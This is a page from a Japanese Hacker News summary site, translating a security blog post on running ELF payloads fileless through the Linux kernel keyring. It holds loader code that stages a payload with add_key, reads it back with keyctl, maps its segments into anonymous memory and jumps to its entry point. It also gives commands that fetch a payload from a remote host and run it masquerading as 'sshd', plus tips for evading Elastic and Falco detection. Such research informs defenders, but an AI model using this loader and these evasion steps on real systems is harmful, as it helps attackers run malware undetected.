HN 日本語サマリー

← 一覧へ戻る
セキュリティ

カーネルキーリングを介したファイルレスELF実行

Fileless ELF Execution via Kernel Keyring (matheuzsecurity.github.io)

9 pointsby matheuzsec_6 コメント

要約

この記事では、Linuxカーネルのキーリングサブシステムを利用して、ELFペイロードをファイルシステムに書き込まず、かつexecveを使わずに実行する新しい手法を紹介しています。カーネルメモリにELFバイナリを格納し、その後、匿名メモリ領域から手動でマッピングして実行します。この手法は、ファイルディスクリプタやファイルシステムの存在に依存する一般的な検出メカニズムを回避します。

全文翻訳

カーネルキーリング経由のファイルレスELF実行

[画像: imgur]

皆さん、こんにちは!今回は、ファイルシステムに一切触れることなく、またexecve(ユーザーランドの実行部分)を呼び出すことなくELFペイロードを実行するテクニックを紹介したいと思います。このトリックの肝は、ファイルレス実行で多くの人が行う方法とは少し異なる、ステージングのためにLinuxカーネルのキーリングを使用することです。では、始めましょう。

memfd_createやO_TMPFILEのような一般的なアプローチの問題点は、ディレクトリエントリは存在しなくても、最終的には/proc/self/fd/にファイルディスクリプタが残り、実際のファイルシステム上にinodeが存在してしまうことです。キーリングはこれら両方を回避します。

Linuxには2.6からキー管理サブシステムが存在し、おそらく皆さんも/proc/keysを一度は見たことがあるでしょう。PAM、Kerberosクレデンシャルキャッシュ、dm-cryptなどがこれを利用しています。プロセスやセッションは、これを通じてカーネルメモリに任意のバイト列(blob)を格納できます。ここで重要なシステムコールはadd_key(x86-64では248)とkeyctl(250)です。

ELFの格納から始めます。

long key = syscall(248 /* SYS_add_key */,
                   "user",
                   "_dntry",
                   elf_bytes,
                   elf_size,
                   (long)KEY_SPEC_SESSION_KEYRING);

syscall(248, ...)はadd_keyで、5つの引数を取ります。最初の引数はキーのタイプで、任意のバイト列の汎用タイプである"user"です。2番目は説明文字列で、ここでは"_dntry"としており、後でキーを見つけるためのラベルです。次にペイロードのポインタとそのサイズ。最後の引数KEY_SPEC_SESSION_KEYRING(-3)は、現在のセッションキーリングにキーをアタッチするようにカーネルに指示します。

add_keyはファイルディスクリプタではなく、キーを識別するkey_serial_t(int32)を返します。そのため、/proc/self/fd/には何も表示されません。実際のペイロードバイトは、security/keys/user_defined.c内のスラブメモリにkmemdup()を通じて格納され、ファイルシステムは関与しません。

デフォルトのユーザーごとのクォータは、すべてのキーを合わせて20000バイトであり、小さなペイロードには十分です。このテクニックはroot権限なしで問題なく動作します。rootは/proc/sys/kernel/keys/root_maxbytesを通じて、25MBの独立したクォータを持っています。より大きなELFの場合、big_keyタイプは、キーリングに最大1MBをステージングでき、ChaCha20-Poly1305で暗号化された匿名tmpfsに格納されますが、カーネル設定でCONFIG_BIG_KEYS=yが必要です(Ubuntu ServerやRHEL 8/9ではデフォルトで有効ですが、すべてのディストリビューションで有効なわけではありません)。

keyctl(KEYCTL_READ)はキーペイロードをユーザー空間バッファにコピーします。これを2回呼び出します。最初はヌルバッファでサイズを取得し、次に実際の割り当てを行います。

long sz = syscall(250 /* SYS_keyctl */,
                  (long)KEYCTL_READ,
                  key,
                  0L, 0L);

void *buf = mmap(NULL, sz, PROT_READ|PROT_WRITE,
                 MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

syscall(250, (long)KEYCTL_READ, key, (long)buf, sz);

カーネルはスラブから、作成したばかりの匿名マッピングに直接コピーします。

その後、取り消します。

syscall(250, (long)KEYCTL_REVOKE, key, 0L, 0L);

KEYCTL_REVOKEは操作3です。これが返ると、そのシリアルに対するそれ以降のkeyctl(READ)はEKEYREVOKEDを返し、参照カウントがゼロになるとスラブは解放されるため、ここからペイロードは匿名マッピングにのみ存在します。

次に実行する問題があります。fdもパスも存在しないため、execveとexecveatは使えません。キーリングからmemfdに読み込んでexecveatを使用すると、/proc/self/fd/にfdが戻ってしまい、前提が崩れてしまいます。そのため、ELFを手動でロードし、プログラムヘッダーをウォークして、PT_LOADセグメントを見つけ、それぞれを適切なアドレスの匿名メモリにマッピングします。

void *seg = mmap((void *)seg_va, seg_len,
                 PROT_READ|PROT_WRITE,
                 MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED_NOREPLACE, -1, 0);

memcpy((void *)dst, buf + ph[i].p_offset, ph[i].p_filesz);
mprotect((void *)seg_va, seg_len, prot);

MAP_FIXED_NOREPLACEなしでは、そのアドレスに既に何かマッピングされている場合、mmapはサイレントに上書きします。これがあると、mmapは失敗します。

各セグメントには、実際のコンテンツとしてp_fileszバイトと、潜在的にそれより大きいp_memszがあります。その差はBSSです。MAP_ANONYMOUSでマッピングしたため、カーネルはmemcpyの前に領域全体をゼロクリアしているので、BSSは既に処理されています。明示的なmemsetは防御的なものです。

if (ph[i].p_memsz > ph[i].p_filesz)
    memset((void *)(dst + ph[i].p_filesz), 0, ph[i].p_memsz - ph[i].p_filesz);

セグメントがマッピングされたら、x86-64 ABI形式(argc、argvポインタ、ヌル、envpポインタ、ヌル、auxvペア)でスタックを構築し、すべてのレジスタをゼロにして、エントリポイントにジャンプします。

register uintptr_t r_entry __asm__("rdi") = entry;
register uintptr_t r_sp    __asm__("rsi") = sp;
__asm__ volatile(
    "mov  %%rsi, %%rsp\n\t"
    "xor  %%eax, %%eax\n\t"
    "/* ... zero all other registers ... */\n\t"
    "jmp  *%%rdi"
    : : "r"(r_entry), "r"(r_sp) : "memory"
);

rdxはゼロである必要があります。なぜなら、glibcの_startはそれをrtld_finiとして扱い、非ゼロの場合はatexitハンドラとして登録するからです。ジャンプ前にrdxにあったガベージは、終了時にクラッシュを引き起こします。

ジャンプする前に、ローダーは自身のパスを読み取り、自身をアンリンクします。

char self_path[PATH_MAX] = {0};
ssize_t n = readlink("/proc/self/exe", self_path, sizeof(self_path) - 1);
if (n > 0) unlink(self_path);

readlink("/proc/self/exe")は、バイナリがロードされた実際のファイルシステムパスを返します。それがアンリンクされるものです。/proc/self/exeシンボリックリンク自体はprocfsに存在し、直接アンリンクすることはできませんが、それが指す実際のファイルは自由に対象となります。ファイルはディレクトリからすぐに消えますが、カーネルがマッピングが開いている間それを保持するため、ローダーが終了するまでinodeは残ります。

私たちにとって悪い点は、ペイロード実行中に/proc/self/exeが(deleted)と表示されることです。このサフィックスは、Elastic、Falcoなどがprocess.executableが(deleted)で終わるものを積極的にマッチングするため、よく知られた検知シグナルです。したがって、アンリンクをスキップするのがステルス性のために安全な選択です。ローダーバイナリはフォレンジックアーティファクトとしてディスク上に残りますが、実行中のプロセスはクリーンに見え、実行前にローダーを説得力のある名前にリネームした場合、プロセスツリーには何も異常な点はありません。

straceの下では、ペイロードはHTTP(またはHTTPS、-DUSE_HTTPSでビルドした場合)経由で取得され、どこにも書き込まれません。

strace -e trace=add_key,keyctl,mmap,mprotect,execve,execveat,unlink ./dntry khttp https://temp.sh/aBcDe/payload sshd

[画像: strace output]

3回のkeyctl呼び出し(add_keyに加えて):サイズプローブ、実際の読み取り、そして取り消し。実行呼び出しがないため、ペイロードはプロセス開始イベントを生成しません。

ペイロード実行中に/proc/<pid>/fdがクリーンであることを確認するには、スリープするデモペイロードを使用します。これをサーバーにホストして実行します。

./dntry khttp https://temp.sh/aBcDe/payload sshd
# 別のターミナルで:
ls -la /proc/<pid>/fd
cat /proc/<pid>/maps
cat /proc/<pid>/cmdline

[画像: /proc/pid/fd showing no payload fds]

そして/proc/keysは、キーが存在する間、そのフルサイズとともに表示します。

1bb1ba3a I--Q---     1 perm 3f010000  1000  1000 user      _dntry: 9528

KEYCTL_REVOKEの後、IR-Q---に変わり、スラブが解放されたためサイズは0に低下し、GCが実行されるまでそこに留まります。リアルタイムで監視できます。

watch -n0.1 "grep _dntry /proc/keys"

[画像: /proc/keys during exec]

3番目の引数はペイロードのargv[0]となり、prctl(PR_SET_NAME)がスレッド名として設定するものです。

[画像: payload running]

このデモはすべてを1つのプロセスで実行します。より興味深いユースケースはクロスプロセスステージングです。KEY_SPEC_SESSION_KEYRINGは、同じPAMセッション内でのfork()およびexec()で継承されます。ドロッパーがペイロードを書き込み、終了します。別のローダープロセスが後でそれを読み込みます。それらの間には共有メモリ、ソケット、ファイルはありません。リポジトリのstageとloadモードがこれを直接デモンストレーションしています。

# プロセスA: ドロッパー - ELFをセッションキーリングに格納して終了
KEY=$(./dntry stage payload.elf)

# キーはプロセスAが死んだ後もカーネルスラブに残ります:
# 23214cfe I--Q---  user  _dntry: 9808

# プロセスB: 完全に分離されたローダーがスラブから読み込んで実行
./dntry load $KEY sshd

[画像: stage and load demo]

プロセスBはkeyctl(KEYCTL_READ, key_id)を呼び出して、ペイロードをセッションキーリングから匿名マッピングに引き出し、それを実行します。2つのプロセスはマッピングを共有せず、互いに依存しません。Aが終了した後、ペイロードはBがそれを読み戻すまでキーリングに残ります。その2つのプロセスの間では、ペイロードはユーザーVAなしでカーネルスラブメモリにのみ存在します。

通常のmmapではこれができません。匿名マッピングは作成したプロセスとともに消滅しますが、KEY_SPEC_SESSION_KEYRINGエントリは作成者よりも長く存続します。

khttp/kfileフローでは、dntryはペイロードを一時的なユーザー空間バッファに引き込み、add_key()に渡し、バッファを解放します。そこからKEYCTL_READまで、ペイロードはユーザーVAなしでカーネルスラブにあります。bpf_probe_read_user()やptrace(PEEKDATA)はユーザー空間VAから読み取りますが、そのウィンドウ中はどちらも読み取るものがありません。BがKEYCTL_READを呼び出すと、ペイロードは匿名マッピングにコピーされ、キーは取り消されます。fdもinodeもなく、ペイロードはVFSに触れることはありません。ディスク上に存在したのはローダーだけです。

キーリングは、ペイロードを無関係なプロセス間で渡す方法として通常は考えられていないカーネルサブシステムであるため、ここでうまく機能します。


出典: github.com/MatheuZSecurity/Dntry